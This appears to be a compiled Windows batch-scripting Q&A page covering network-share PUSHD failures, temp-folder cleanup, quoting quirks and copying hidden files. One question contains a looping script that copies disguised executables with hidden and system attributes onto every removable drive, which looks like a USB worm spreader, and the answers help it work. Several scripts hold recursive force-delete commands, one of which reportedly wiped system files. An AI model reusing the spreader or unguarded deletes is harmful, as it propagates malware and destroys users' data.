I have a batch file that is located in a shared location. The Batch file is started by another batch file. However, it seems that PUSHD or CD do not work similarly when the script is started from a shared location by another batch file.
For Example, doing CD %userprofile%\Desktop does nothing or states that location can't be found.
Same For POPD.
I found a workaround for switching to the desktop by typing in C:, click enter, then CD C:\Users\%username%\Desktop.
However, PUSHD will not work and will either state The system cannot find the path specified when doing PUSHD %~dp0 or The Network path was not found when doing PUSHD \\server\server\server.
#ECHO ON
::MODE con: cols=100 lines=50
::Custom Data Copying
::Copy Chrome Bookmarks
TASKKILL /f /IM Chrome.exe
MKDIR "C:\Users\%username%\AppData\Local\Google\Chrome\User Data\Default"
DEL /F /Q "C:\Users\%username%\AppData\Local\Google\Chrome\User Data\Default\Bookmarks"
DEL /F /Q "C:\Users\%username%\AppData\Local\Google\Chrome\User Data\Default\Bookmarks.bak"
XCOPY /S /H /Y /I "..\..\%computername%\Chrome_Bookmarks" "C:\Users\%username%\AppData\Local\Google\Chrome\User Data\Default"
::Copy and Rename Sticky Notes
MKDIR "C:\Users\%username%\Appdata\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\Legacy"
XCOPY /S /H /Y /I "..\..\%computername%\Sticky_Notes" "C:\Users\%username%\Appdata\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\Legacy"
REN "C:\Users\%username%\Appdata\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\Legacy\StickyNotes.snt" ThresholdNotes.snt
::Copy Outlook Signature
MKDIR "C:\Users\%username%\AppData\Roaming\Microsoft\Signatures"
XCOPY /S /H /Y /I "..\..\%computername%\Outlook_Signature" "C:\Users\%username%\AppData\Roaming\Microsoft\Signatures"
::Installed Programs List
XCOPY /S /H /Y /I "..\..\%computername%\Installed_Programs\%username%_ProgramsList.txt" %Userprofile%\Desktop
Start "" "C:\Users\%username%\Desktop\%username%_ProgramsList.txt"
::Import Network Drives and List
Regedit.exe /S "..\..\%computername%\Network_Drives\%username%drives.reg\%username%drives.reg"
::Copy Local Ad. Account Pass. Reset
XCOPY /S /H /Y /I "AdminPass.bat" "C:\Users\Public\Desktop"
::Import Wireless Connections
FORFILES /P "..\..\%computername%\Wireless_Networks" /M *.xml /C "cmd /C netsh wlan add profile #path user=all"
::WEB LINKS FOLDERS
C:
CD C:\Users\%username%\Desktop
RMDIR /s /q "Web_Links"
MKDIR "C:\Users\%username%\Desktop\Web Links"
XCOPY /S /H /Y /I "\\server\server\server\Web_Links\Win_10" "C:\Users\%username%\Desktop\Web Links"
::Data Collection for Logs
CLS
#ECHO ON
ECHO Current Computer Name is...
ECHO %Computername%
ECHO.
SET /P Adminuser=What is your admin username?
PUSHD %~dp0
ECHO %computername%, %date%, %time%, %Adminuser%, %username% >> "..\_Logs\Computer_Names\New_Computers\New_Computers.csv"
TIMEOUT 2
POPD
C:
CD C:\Users\%username%\Desktop
GOTO REGFIX
The script breaks at the first PUSHD and completely stops as well.
Is starting a network batch file by another batch file the major issue here?
Give this one a shot.. Please use as is, do not change anything.
#ECHO ON
:# MODE con: cols=100 lines=50
:# Custom Data Copying
:# Copy Chrome Bookmarks
cd /D C:\
TASKKILL /f /IM Chrome.exe
MKDIR "%localappdata%\Google\Chrome\User Data\Default"
DEL /F /Q "%localappdata%\Google\Chrome\User Data\Default\Bookmarks"
DEL /F /Q "%localappdata%\Google\Chrome\User Data\Default\Bookmarks.bak"
PUSHD "%~dp0"
XCOPY /S /H /Y /I "..\..\%computername%\Chrome_Bookmarks" "%localappdata%\Google\Chrome\User Data\Default"
POPD
:# Copy and Rename Sticky Notes
MKDIR "%localappdata%\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\Legacy"
PUSHD "%~dp0"
XCOPY /S /H /Y /I "..\..\%computername%\Sticky_Notes" "C:\Users\%username%\Appdata\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\Legacy"
POPD
REN "%localappdata%\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\Legacy\StickyNotes.snt" ThresholdNotes.snt
:# Copy Outlook Signature
MKDIR "%appdata%\Microsoft\Signatures"
PUSHD "%~dp0"
XCOPY /S /H /Y /I "..\..\%computername%\Outlook_Signature" "C:\Users\%username%\AppData\Roaming\Microsoft\Signatures"
:# Installed Programs List
XCOPY /S /H /Y /I "..\..\%computername%\Installed_Programs\%username%_ProgramsList.txt" "%Userprofile%\Desktop"
notepad "%userprofile%\Desktop\%username%_ProgramsList.txt"
:# Import Network Drives and List
Regedit.exe /S "..\..\%computername%\Network_Drives\%username%drives.reg\%username%drives.reg"
:# Copy Local Ad. Account Pass. Reset
XCOPY /S /H /Y /I "AdminPass.bat" "C:\Users\Public\Desktop"
:# Import Wireless Connections
FORFILES /P "..\..\%computername%\Wireless_Networks" /M *.xml /C "cmd /C netsh wlan add profile #path user=all"
POPD
:# WEB LINKS FOLDERS
CD "%userprofile%\Desktop"
RMDIR /s /q "Web_Links"
MKDIR "%userprofile%\Desktop\Web Links"
XCOPY /S /H /Y /I "\\spwsrfil003\Deskside\Desktop\Web_Links\Win_10" "%userprofile%\Desktop\Web Links"
:# Data Collection for Logs
CLS
#ECHO OFF
ECHO Current Computer Name is...
ECHO %Computername%
ECHO.
SET /P Adminuser=What is your admin username?
PUSHD "%~dp0"
ECHO %computername%, %date%, %time%, %Adminuser%, %username% >> "..\_Logs\Computer_Names\New_Computers\New_Computers.csv"
TIMEOUT 2
POPD
CD "%userprofile%\Desktop"
GOTO REGFIX
Related
I was trying to delete C:\Users\%USERPROFILE%\AppData\Local\Temp
and it shows the error:
The filename, directory name, or volume label syntax is incorrect.
This is the code:
#Echo off
del /s /q "C:\Windows\Temp\*.*"
del /s /q "C:\Windows\Prefetch\*.*"
del /s /q "C:\Users\%USERPROFILE%\AppData\Local\Temp\*.*"
for /d %%p in ("C:\Windows\Prefetch\*.*") do rmdir "%%p" /s /q
for /d %%p in ("C:\Windows\Temp\*.*") do rmdir "%%p" /s /q
for /d %%p in ("C:\Users\%USERPROFILE%\AppData\Local\Temp\*.*") do rmdir "%%p" /s /q
ipconfig /flushdns
pause
This is the output on running the batch file:
The filename, directory name, or volume label syntax is incorrect.
Windows IP Configuration
Successfully flushed the DNS Resolver Cache.
Press any key to continue . . .
The solution is quite simple on using this code:
#echo off
setlocal EnableExtensions DisableDelayedExpansion
%SystemRoot%\System32\reg.exe QUERY "HKLM\System\CurrentControlSet\Control\Session Manager" /V PendingFileRenameOperations >nul 2>nul && goto NoDelInfo
pushd "%SystemRoot%\Temp" 2>nul && ( rd /Q /S "%SystemRoot%\Temp" 2>nul & popd )
pushd "%SystemRoot%\Prefetch" 2>nul && ( rd /Q /S "%SystemRoot%\Prefetch" 2>nul & popd )
pushd "%TEMP%" 2>nul && ( rd /Q /S "%TEMP%" 2>nul & popd )
%SystemRoot%\System32\ipconfig.exe /flushdns
goto EndBatch
:NoDelInfo
echo There are pending file rename operations.
echo/
echo Please first restart Windows and then run "%~nx0" once again.
echo/
:EndBatch
endlocal
pause
For a full explanation of the three command lines to clear the three folders see:
How to delete files/subfolders in a specific directory at the command prompt in Windows?
The directories for temporary files should never be cleared on pending file/folder rename operations currently registered done by Windows on next start to complete an installation or an uninstall using perhaps files currently stored in one of the two directories for temporary files.
See also the Wikipedia article about the predefined Windows Environment Variables displayed with their values on running set in a command prompt window.
In general it is better to run as administrator the Disk Cleanup tool of Windows as it can delete much more files no longer needed as this batch file.
#echo on
cls
set "root"="%CD%"
cd bin\cemu*
xcopy /q .\mlc01\* "%root%\temp\mlc01\" /e /i /y
xcopy /q .\hfiomlc01\* "%root%\temp\hfiomlc01\" /e /i /y
cd ..
rmdir /s /q cemu_1.7.3d
rmdir /s /q cemu_1.7.4d
cd ..
cd bin\cemu*
xcopy /q "%root%\temp\" .\mlc01\* /e /i /y
xcopy /q "%root%\temp\" .\hfiomlc01\* /e /i /y
cd "%root%"
pause
everything works fine with changing directories and everything but xcopy isn't copying directories or anything (I used this same command in my other project to and it works fine but here it wont)
I tried /s /t /e and all that stuff and I still cant get it going
Try changing:
set "root"="%CD%"
to:
set "root=%CD%"
Due to the quirks that exist in cmd.exe's quoting (cmd.exe has so many quirks) the first variation doesn't do what you want it it to do - it creates an environment variable named root" (yes, the environment variable name has a trailing double-quote character).
I have been struggling over this question for a while now. I have a batch file that, when started, searches for any USB drive and if it finds one, it searches for some files and copies them to the USB. However it is not working for me in this case.
Please note that the files I am copying have +H and +S attributes, I do hope that wont make a difference.
Here is the code of the batch file:
#echo off
:loop
set INTERVAL=5
for /F "tokens=1*" %%a in ('fsutil fsinfo drives') do (
for %%c in (%%b) do (
for /F "tokens=3" %%d in ('fsutil fsinfo drivetype %%c') do (
if %%d equ Removable (
echo %%c is Removable
cd %SYSTEMROOT%\system32\SystemSettingsUpdate
copy "Whatsapp,Inc.exe" "%%c"
copy "Configure.exe" "%%c"
copy "HL~Realtime~Defense.exe" "%%c"
ATTRIB +H -R +S %%cConfigure.exe
ATTRIB +H -R +S %%cHL~Realtime~Defense.exe
timeout /nobreak /t 59
goto :loop
)
)
)
)
Please note that the %%c is the letter of the USB drive.
So now what happens is that when I start it, it gives me an error that it cannot locate the files I specified.
However I double checked the location and the files exist.
Any suggestions why getting the file not found error message?
COPY does not copy files with either system or hidden attribute set as the following batch code demonstrates:
#echo off
cls
pushd "%TEMP%"
md TestTarget 2>nul
echo Just a copy/xcopy test for hidden and system files.>TestFile.tmp
attrib +h TestFile.tmp
echo TRY TO COPY HIDDEN FILE ...
echo.
echo copy TestFile.tmp TestTarget\
copy TestFile.tmp TestTarget\
echo.
echo.
echo TRY TO XCOPY HIDDEN FILE ...
echo.
echo xcopy TestFile.tmp TestTarget\ /H /I /Q /R /Y
xcopy TestFile.tmp TestTarget\ /H /I /Q /R /Y
echo.
pause
cls
attrib -h +s TestFile.tmp
echo TRY TO COPY SYSTEM FILE ...
echo.
echo copy TestFile.tmp TestTarget\
copy TestFile.tmp TestTarget\
echo.
echo.
echo TRY TO XCOPY SYSTEM FILE ...
echo.
echo xcopy TestFile.tmp TestTarget\ /H /I /Q /R /Y
xcopy TestFile.tmp TestTarget\ /H /I /Q /R /Y
echo.
pause
cls
attrib +h +s TestFile.tmp
echo TRY TO COPY HIDDEN SYSTEM FILE ...
echo.
echo copy TestFile.tmp TestTarget\
copy TestFile.tmp TestTarget\
echo.
echo.
echo TRY TO XCOPY HIDDEN SYSTEM FILE ...
echo.
echo xcopy TestFile.tmp TestTarget\ /H /I /Q /R /Y
xcopy TestFile.tmp TestTarget\ /H /I /Q /R /Y
echo.
del /A TestFile.tmp
rd /Q /S TestTarget
popd
pause
One solution for copying hidden system files is using command XCOPY with parameter /H.
But usage of XCOPY for copying a single file is a little bit tricky.
Copying with XCOPY a single file to an existing directory with a new file name results in a prompt if the target is a file or a directory. For this task the prompt can be avoided by using option /I and making sure the target specification ends with a backslash and is therefore interpreted as directory path. See also answers on BATCH file asks for file or folder for details on XCOPY and file or directory prompt.
Additionally argument /Y is needed to avoid the prompt on overwriting an already existing file in target directory with same name as current source file.
Then XCOPY outputs an access denied error message if the file already exists in target directory but has hidden attribute set. The copying is successful for this case with using also flag /R (second copy done by demonstration batch file).
Parameter /Q should be also used for copying the files without showing their names.
And last it would be good to use >nul at end of each line with XCOPY if the success message should be suppressed which was not done on demonstration batch code as we want to see absolutely the success message here.
XCOPY without using /K removes automatically the read-only attribute.
copy does not copy files with either system or hidden attribute set. Use instead xcopy with parameter /H.
A better way to List the USB drives
#echo off
setlocal enabledelayedexpansion
:: Creating a list with all USB drive
for /f "delims=" %%a in ('wmic logicaldisk where drivetype^=2 get deviceid ^| find ":"') do set "$List=!$List! %%a"
Echo USB ==^> !$List!
And like #Mofi said use xcopy instead of copy
I use batch file commands to delete the temp files in the system. The command works OK.
This code, works normally, but there is a flaw:
FOR /D %%p IN ("C:\Temp\*.*") DO rmdir "%%p" /s /q
cd c:\temp
del /F /s /q *.* >c:\DelTempLog.txt
rd /s /q %systemdrive%\$Recycle.bin >c:\DelTempLog.txt
FOR /D %%p IN ("C:\Windows\Installer\$PatchCache$\*.*") DO rmdir "%%p" /s /q
cd C:\Windows\Installer\$PatchCache$
del /F /s /q *.* >c:\DelTempLog.txt
FOR /D %%p IN ("C:\Windows\Temp*.*") DO rmdir "%%p" /s /q
cd C:\Windows\Temp
del /F /s /q *.* >c:\DelTempLog.txt
del /q /s %tmp% >c:\DelTempLog.txt
Today I faced an exception where c:\temp folder did not exist on the server.
It deleted half of the files under c:\windows\system32.
I want to add an IF command after changing the DIR before deleting anything.
Also, please advise me how to do logging activity in a better way.
At an elementary level if you specify the full path on the command line then it cannot delete files from anywhere else.
del /F /s /q "c:\temp\*.*?"
There is also no need to change the directory before issuing the command.
The ? suppresses a prompt that asks if you are sure that you want to delete all files.
How about, before your batch-as-it-stands, you try
md c:\temp 2>nul
if not exist c:\temp\. echo No c:\temp!&goto :eof
#echo off
setlocal enableextensions disabledelayedexpansion
set "logFile=c:\deltemplog.txt"
(for %%a in (
"c:\temp" "c:\windows\temp" "%temp%"
"%systemdrive%\$Recycle.bin" "C:\Windows\Installer\$PatchCache$"
) do if not exist "%%~a\" (
echo [ ERROR ]: "%%~a" does not exist
) else pushd "%%~a" && (
echo [ pushd ]: changed to "%%~a"
echo rmdir . /s /q
popd
) || (
echo [ ERROR ]: Failed to change to "%%~a"
)
) > "%logFile%"
For each folder in the list, change to it and if the command did not fail, remove the current folder (this will remove the content, not the folder, as it is the current one).
The rmdir commands are only echoed. If the output (in the log file) is correct, remove the echo command that prefixes rmdir
My preference is to use the %CD% built-in value, then try to move to the folder and see if it worked, as in:
set CURDIR=%CD%
pushd C:\Temp
if '%CD%'=='%CURDIR%' (
echo Failed to move to C:\Temp
) else (
[code to do your deletions]
)
popd
I prefer to push and pop a directory rather than a hard CD to it, simply because then you can always get back to where you were without having to know where that was.
I'm trying to make a program that will delete some files and perfrom rutine maintance on a computer by just clickin on one file. I'm testing it as I'm going along and realized that it's not deleting the folders. I want to delete everything within the folders but not the folders themselves. Here is my code so far:
#echo off
title SYSTEM Optimiation
echo Deleting Temp Folder
del /q /f "C:\Documents and Settings\%username%\Local Settings\TEMP"
echo.
echo DONE
echo.
echo Deleting Download folder
del /q /f "C:\Documents and Settings\%username%\My Documents\Downloads"
echo.
echo DONE
echo.
echo.
echo Hit any key to exit.
pause >nul
Try using wildcards and the /s switch on del:
del /q /s /f "%userprofile%\My Documents\Downloads\*"
but this will probably leave directories inside intact, but empty. Another option would be the quite explicit:
for /d /r "%userprofile%\My Documents\Downloads" %%x in (*) do rd /s /q "%%x"
for /r "%userprofile%\My Documents\Downloads" %%x in (*) do del /f "%%x"
Here much simpler than above. Current directory will be locked and therefore will not be deleted with others.
cd %Temp% && rmdir /s /q .